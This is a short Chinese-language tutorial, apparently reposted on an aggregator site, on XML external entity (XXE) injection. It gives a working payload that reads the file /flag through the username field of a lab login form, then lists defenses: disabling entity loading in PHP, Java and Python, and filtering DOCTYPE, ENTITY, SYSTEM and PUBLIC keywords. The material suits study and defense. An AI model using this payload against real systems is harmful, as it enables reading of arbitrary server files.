XXE漏洞利用
Posted xzhome
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞利用相关的知识,希望对你有一定的参考价值。
XXE漏洞利用
简介:
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
环境搭建:
采用在线环境 地址
漏洞复现:
登录页面
XXE插入语句
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>admin</password></user>
只能为一个回车
漏洞防御:
a. 使用开发语言提供的禁用外部实体的方法
php:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
b. 过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
以上是关于XXE漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章